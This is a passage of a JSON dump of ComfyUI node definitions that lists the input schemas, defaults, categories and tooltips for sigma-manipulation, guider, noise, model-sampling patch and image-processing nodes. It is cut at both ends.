"output_tooltips": [null], "output_matchtypes": null, "name": "FlipSigmas", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SetFirstSigma": {"input": {"required": {"sigmas": ["SIGMAS", {}], "sigma": ["FLOAT", {"default": 136.0, "min": 0.0, "max": 20000.0, "step": 0.001, "round": false}]}}, "input_order": {"required": ["sigmas", "sigma"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "SetFirstSigma", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ExtendIntermediateSigmas": {"input": {"required": {"sigmas": ["SIGMAS", {}], "steps": ["INT", {"default": 2, "min": 1, "max": 100}], "start_at_sigma": ["FLOAT", {"default": -1.0, "min": -1.0, "max": 20000.0, "step": 0.01, "round": false}], "end_at_sigma": ["FLOAT", {"default": 12.0, "min": 0.0, "max": 20000.0, "step": 0.01, "round": false}], "spacing": ["COMBO", {"multiselect": false, "options": ["linear", "cosine", "sine"]}]}}, "input_order": {"required": ["sigmas", "steps", "start_at_sigma", "end_at_sigma", "spacing"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "ExtendIntermediateSigmas", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["interpolate sigmas"], "essentials_category": null, "has_intermediate_output": false}, "SamplingPercentToSigma": {"input": {"required": {"model": ["MODEL", {}], "sampling_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.0001}], "return_actual_sigma": ["BOOLEAN", {"tooltip": "Return the actual sigma value instead of the value used for interval checks.\nThis only affects results at 0.0 and 1.0.", "default": false}]}}, "input_order": {"required": ["model", "sampling_percent", "return_actual_sigma"]}, "is_input_list": false, "output": ["FLOAT"], "output_is_list": [false], "output_name": ["sigma_value"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplingPercentToSigma", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CFGGuider": {"input": {"required": {"model": ["MODEL", {}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}]}}, "input_order": {"required": ["model", "positive", "negative", "cfg"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "CFGGuider", "display_name": "CFG Guider", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DualCFGGuider": {"input": {"required": {"model": ["MODEL", {}], "cond1": ["CONDITIONING", {}], "cond2": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "cfg_conds": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "cfg_cond2_negative": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "style": ["COMBO", {"multiselect": false, "options": ["regular", "nested"]}]}}, "input_order": {"required": ["model", "cond1", "cond2", "negative", "cfg_conds", "cfg_cond2_negative", "style"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "DualCFGGuider", "display_name": "Dual CFG Guider", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["dual prompt guidance"], "essentials_category": null, "has_intermediate_output": false}, "DualModelGuider": {"input": {"required": {"model": ["MODEL", {"tooltip": "Model used for the positive (conditional) pass."}], "positive": ["CONDITIONING", {}], "cfg": ["FLOAT", {"default": 4.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}]}, "optional": {"model_negative": ["MODEL", {"tooltip": "Model used for the negative (unconditional) pass. Use the same model for ordinary CFG."}], "negative": ["CONDITIONING", {"tooltip": "Negative conditioning run on the negative model. Leave unconnected for a text-free (image-only) unconditional pass."}]}}, "input_order": {"required": ["model", "positive", "cfg"], "optional": ["model_negative", "negative"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "DualModelGuider", "display_name": "Dual Model CFG Guider", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BasicGuider": {"input": {"required": {"model": ["MODEL", {}], "conditioning": ["CONDITIONING", {}]}}, "input_order": {"required": ["model", "conditioning"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "BasicGuider", "display_name": "Basic Guider", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RandomNoise": {"input": {"required": {"noise_seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}}, "input_order": {"required": ["noise_seed"]}, "is_input_list": false, "output": ["NOISE"], "output_is_list": [false], "output_name": ["NOISE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RandomNoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/noise", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DisableNoise": {"input": {"required": {}}, "input_order": {"required": []}, "is_input_list": false, "output": ["NOISE"], "output_is_list": [false], "output_name": ["NOISE"], "output_tooltips": [null], "output_matchtypes": null, "name": "DisableNoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/noise", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["zero noise"], "essentials_category": null, "has_intermediate_output": false}, "AddNoise": {"input": {"required": {"model": ["MODEL", {}], "noise": ["NOISE", {}], "sigmas": ["SIGMAS", {}], "latent_image": ["LATENT", {}]}}, "input_order": {"required": ["model", "noise", "sigmas", "latent_image"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "AddNoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "experimental/custom_sampling/noise", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerCustomAdvanced": {"input": {"required": {"noise": ["NOISE", {}], "guider": ["GUIDER", {}], "sampler": ["SAMPLER", {}], "sigmas": ["SIGMAS", {}], "latent_image": ["LATENT", {}]}}, "input_order": {"required": ["noise", "guider", "sampler", "sigmas", "latent_image"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["output", "denoised_output"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SamplerCustomAdvanced", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/custom", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ManualSigmas": {"input": {"required": {"sigmas": ["STRING", {"default": "1, 0.5", "multiline": false}]}}, "input_order": {"required": ["sigmas"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "ManualSigmas", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "experimental/custom_sampling", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["custom noise schedule", "define sigmas"], "essentials_category": null, "has_intermediate_output": false}, "HyperTile": {"input": {"required": {"model": ["MODEL", {}], "tile_size": ["INT", {"advanced": true, "default": 256, "min": 1, "max": 2048}], "swap_size": ["INT", {"advanced": true, "default": 2, "min": 1, "max": 128}], "max_depth": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 10}], "scale_depth": ["BOOLEAN", {"advanced": true, "default": false}]}}, "input_order": {"required": ["model", "tile_size", "swap_size", "max_depth", "scale_depth"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "HyperTile", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hypertile", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelSamplingDiscrete": {"input": {"required": {"model": ["MODEL"], "sampling": [["eps", "v_prediction", "lcm", "x0", "img_to_img", "img_to_img_flow"]], "zsnr": ["BOOLEAN", {"default": false, "advanced": true}]}}, "input_order": {"required": ["model", "sampling", "zsnr"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingDiscrete", "display_name": "ModelSamplingDiscrete", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingContinuousEDM": {"input": {"required": {"model": ["MODEL"], "sampling": [["v_prediction", "edm", "edm_playground_v2.5", "eps", "cosmos_rflow"]], "sigma_max": ["FLOAT", {"default": 120.0, "min": 0.0, "max": 1000.0, "step": 0.001, "round": false, "advanced": true}], "sigma_min": ["FLOAT", {"default": 0.002, "min": 0.0, "max": 1000.0, "step": 0.001, "round": false, "advanced": true}]}}, "input_order": {"required": ["model", "sampling", "sigma_max", "sigma_min"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingContinuousEDM", "display_name": "ModelSamplingContinuousEDM", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingContinuousV": {"input": {"required": {"model": ["MODEL"], "sampling": [["v_prediction"]], "sigma_max": ["FLOAT", {"default": 500.0, "min": 0.0, "max": 1000.0, "step": 0.001, "round": false, "advanced": true}], "sigma_min": ["FLOAT", {"default": 0.03, "min": 0.0, "max": 1000.0, "step": 0.001, "round": false, "advanced": true}]}}, "input_order": {"required": ["model", "sampling", "sigma_max", "sigma_min"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingContinuousV", "display_name": "ModelSamplingContinuousV", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingStableCascade": {"input": {"required": {"model": ["MODEL"], "shift": ["FLOAT", {"default": 2.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "shift"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingStableCascade", "display_name": "ModelSamplingStableCascade", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch/stable cascade", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingSD3": {"input": {"required": {"model": ["MODEL"], "shift": ["FLOAT", {"default": 3.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "shift"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingSD3", "display_name": "ModelSamplingSD3", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch/stable diffusion", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingAuraFlow": {"input": {"required": {"model": ["MODEL"], "shift": ["FLOAT", {"default": 1.73, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "shift"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingAuraFlow", "display_name": "ModelSamplingAuraFlow", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingFlux": {"input": {"required": {"model": ["MODEL"], "max_shift": ["FLOAT", {"default": 1.15, "min": 0.0, "max": 100.0, "step": 0.01, "advanced": true}], "base_shift": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 100.0, "step": 0.01, "advanced": true}], "width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 8}]}}, "input_order": {"required": ["model", "max_shift", "base_shift", "width", "height"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingFlux", "display_name": "ModelSamplingFlux", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch/flux", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelNoiseScale": {"input": {"required": {"model": ["MODEL"], "noise_scale": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 64.0, "step": 0.01, "tooltip": "Absolute training noise scale. For example HiDream-O1 base: 8.0, dev: 7.5."}]}}, "input_order": {"required": ["model", "noise_scale"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelNoiseScale", "display_name": "ModelNoiseScale", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "RescaleCFG": {"input": {"required": {"model": ["MODEL"], "multiplier": ["FLOAT", {"default": 0.7, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "multiplier"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "RescaleCFG", "display_name": "RescaleCFG", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelComputeDtype": {"input": {"required": {"model": ["MODEL"], "dtype": [["default", "fp32", "fp16", "bf16"], {"advanced": true}]}}, "input_order": {"required": ["model", "dtype"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelComputeDtype", "display_name": "ModelComputeDtype", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "advanced/debug", "output_node": false, "has_intermediate_output": false, "search_aliases": ["model precision", "change dtype"]}, "PatchModelAddDownscale": {"input": {"required": {"model": ["MODEL", {}], "block_number": ["INT", {"advanced": true, "default": 3, "min": 1, "max": 32, "step": 1}], "downscale_factor": ["FLOAT", {"default": 2.0, "min": 0.1, "max": 9.0, "step": 0.001}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 0.35, "min": 0.0, "max": 1.0, "step": 0.001}], "downscale_after_skip": ["BOOLEAN", {"advanced": true, "default": true}], "downscale_method": ["COMBO", {"multiselect": false, "options": ["bicubic", "nearest-exact", "bilinear", "area", "bislerp"]}], "upscale_method": ["COMBO", {"multiselect": false, "options": ["bicubic", "nearest-exact", "bilinear", "area", "bislerp"]}]}}, "input_order": {"required": ["model", "block_number", "downscale_factor", "start_percent", "end_percent", "downscale_after_skip", "downscale_method", "upscale_method"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "PatchModelAddDownscale", "display_name": "PatchModelAddDownscale (Kohya Deep Shrink)", "description": "", "python_module": "comfy_extras.nodes_model_downscale", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageCrop": {"input": {"required": {"image": ["IMAGE", {}], "width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}]}}, "input_order": {"required": ["image", "width", "height", "x", "y"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageCrop", "display_name": "Crop Image (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["trim"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "ImageCropV2": {"input": {"required": {"image": ["IMAGE", {}], "crop_region": ["BOUNDING_BOX", {"default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "component": "ImageCrop"}]}}, "input_order": {"required": ["image", "crop_region"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageCropV2", "display_name": "Crop Image", "description": "Crop an image to the specified dimensions.", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["crop", "cut", "trim"], "essentials_category": "Image Tools", "has_intermediate_output": true}, "PrimitiveBoundingBox": {"input": {"required": {"x": ["INT", {"default": 0, "min": 0, "max": 16384}], "y": ["INT", {"default": 0, "min": 0, "max": 16384}], "width": ["INT", {"default": 512, "min": 1, "max": 16384}], "height": ["INT", {"default": 512, "min": 1, "max": 16384}]}}, "input_order": {"required": ["x", "y", "width", "height"]}, "is_input_list": false, "output": ["BOUNDING_BOX"], "output_is_list": [false], "output_name": ["BOUNDING_BOX"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveBoundingBox", "display_name": "Bounding Box", "description": "", "python_module": "comfy_extras.nodes_images", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RepeatImageBatch": {"input": {"required": {"image": ["IMAGE", {}], "amount": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["image", "amount"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RepeatImageBatch", "display_name": "Repeat Image Batch", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["duplicate image", "clone image"], "essentials_category": null, "has_intermediate_output": false}, "ImageFromBatch": {"input": {"required": {"image": ["IMAGE", {}], "batch_index": ["INT", {"default": 0, "min": -16384, "max": 16384}], "length": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["image", "batch_index", "length"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageFromBatch", "display_name": "Get Image from Batch", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["select image", "pick from batch", "extract image"], "essentials_category": null, "has_intermediate_output": false}, "ImageAddNoise": {"input": {"required": {"image": ["IMAGE", {}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "strength": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["image", "seed", "strength"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageAddNoise", "display_name": "Add Noise to Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["film grain"], "essentials_category": null, "has_intermediate_output": false}, "SaveAnimatedWEBP": {"input": {"required": {"images": ["IMAGE", {}], "filename_prefix": ["STRING", {"default": "ComfyUI", "multiline": false}], "fps": ["FLOAT", {"default": 6.0, "min": 0.01, "max": 1000.0, "step": 0.01}], "lossless": ["BOOLEAN", {"default": true}], "quality": ["INT", {"default": 80, "min": 0, "max": 100}], "method": ["COMBO", {"multiselect": false, "options": ["default", "fastest", "slowest"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "filename_prefix", "fps", "lossless", "quality", "method"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAnimatedWEBP", "display_name": "Save Animated WEBP", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveAnimatedPNG": {"input": {"required": {"images": ["IMAGE", {}], "filename_prefix": ["STRING", {"default": "ComfyUI", "multiline": false}], "fps": ["FLOAT", {"default": 6.0, "min": 0.01, "max": 1000.0, "step": 0.01}], "compress_level": ["INT", {"advanced": true, "default": 4, "min": 0, "max": 9}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "filename_prefix", "fps", "compress_level"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAnimatedPNG", "display_name": "Save Animated PNG", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveImageAdvanced": {"input": {"required": {"images": ["IMAGE", {"tooltip": "The images to save."}], "filename_prefix": ["STRING", {"tooltip": "The prefix for the file to save. May include formatting tokens such as %date:yyyy-MM-dd% or %Empty Latent Image.width%.", "default": "ComfyUI", "multiline": false}], "format": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The file format in which to save the image.", "options": [{"key": "png", "inputs": {"required": {"bit_depth": ["COMBO", {"advanced": true, "default": "8-bit", "multiselect": false, "options": ["8-bit", "16-bit"]}], "input_color_space": ["COMBO", {"advanced": true, "default": "sRGB", "multiselect": false, "options": ["sRGB"]}]}}}, {"key": "exr", "inputs": {"required": {"bit_depth": ["COMBO", {"advanced": true, "default": "32-bit float", "multiselect": false, "options": ["32-bit float"]}], "input_color_space": ["COMBO", {"tooltip": "Colorspace of the input tensor. The EXR is always written as scene-linear in the matching gamut.\nsRGB \u2014 input is sRGB-encoded Rec.709; the inverse sRGB EOTF is applied.\nHDR \u2014 input is HLG-encoded Rec.2020 (BT.2100); the inverse HLG OETF is applied to get scene-linear light.\nlinear \u2014 input is already scene-linear (Rec.709 primaries); written through unchanged. Use this for renderer/compositor output.", "advanced": true, "default": "sRGB", "multiselect": false, "options": ["sRGB", "HDR", "linear"]}]}}}]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "filename_prefix", "format"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveImageAdvanced", "display_name": "Save Image (Advanced)", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["save", "save image", "export image", "output image", "write image"], "essentials_category": "Basics", "has_intermediate_output": false}, "SaveSVGNode": {"input": {"required": {"svg": ["SVG", {}], "filename_prefix": ["STRING", {"tooltip": "The prefix for the file to save. This may include formatting information such as %date:yyyy-MM-dd% or %Empty Latent Image.width% to include values from nodes.", "default": "svg/ComfyUI", "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["svg", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["svg"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveSVGNode", "display_name": "Save SVG", "description": "Save SVG files on disk.", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export vector", "save vector graphics"], "essentials_category": null, "has_intermediate_output": false}, "ImageStitch": {"input": {"required": {"image1": ["IMAGE", {}], "direction": ["COMBO", {"default": "right", "multiselect": false, "options": ["right", "down", "left", "up"]}], "match_image_size": ["BOOLEAN", {"default": true}], "spacing_width": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 1024, "step": 2}], "spacing_color": ["COMBO", {"advanced": true, "default": "white", "multiselect": false, "options": ["white", "black", "red", "green", "blue"]}]}, "optional": {"image2": ["IMAGE", {}]}}, "input_order": {"required": ["image1", "direction", "match_image_size", "spacing_width", "spacing_color"], "optional": ["image2"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageStitch", "display_name": "Stitch Images", "description": "Stitches image2 to image1 in the specified direction.\nIf image2 is not provided, returns image1 unchanged.\nOptional spacing can be added between images.", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine images", "join images", "concatenate images", "side by side"], "essentials_category": null, "has_intermediate_output": false}, "ResizeAndPadImage": {"input": {"required": {"image": ["IMAGE", {}], "target_width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "target_height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "padding_color": ["COMBO", {"advanced": true, "multiselect": false, "options": ["white", "black"]}], "interpolation": ["COMBO", {"advanced": true, "multiselect": false, "options": ["area", "bicubic", "nearest-exact", "bilinear", "lanczos"]}]}}, "input_order": {"required": ["image", "target_width", "target_height", "padding_color", "interpolation"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ResizeAndPadImage", "display_name": "Resize And Pad Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["fit to size"], "essentials_category": null, "has_intermediate_output": false}, "GetImageSize": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["image"], "hidden": ["unique_id"]}, "is_input_list": false, "output": ["INT", "INT", "INT"], "output_is_list": [false, false, false], "output_name": ["width", "height", "batch_size"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "GetImageSize", "display_name": "Get Image Size", "description": "Returns width and height of the image, and passes it through unchanged.", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["dimensions", "resolution", "image info"], "essentials_category": null, "has_intermediate_output": false}, "ImageRotate": {"input": {"required": {"image": ["IMAGE", {}], "rotation": ["COMBO", {"multiselect": false, "options": ["none", "90 degrees", "180 degrees", "270 degrees"]}]}}, "input_order": {"required": ["image", "rotation"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageRotate", "display_name": "Rotate Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["turn", "flip orientation"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "ImageFlip": {"input": {"required": {"image": ["IMAGE", {}], "flip_method": ["COMBO", {"multiselect": false, "options": ["x-axis: vertically", "y-axis: 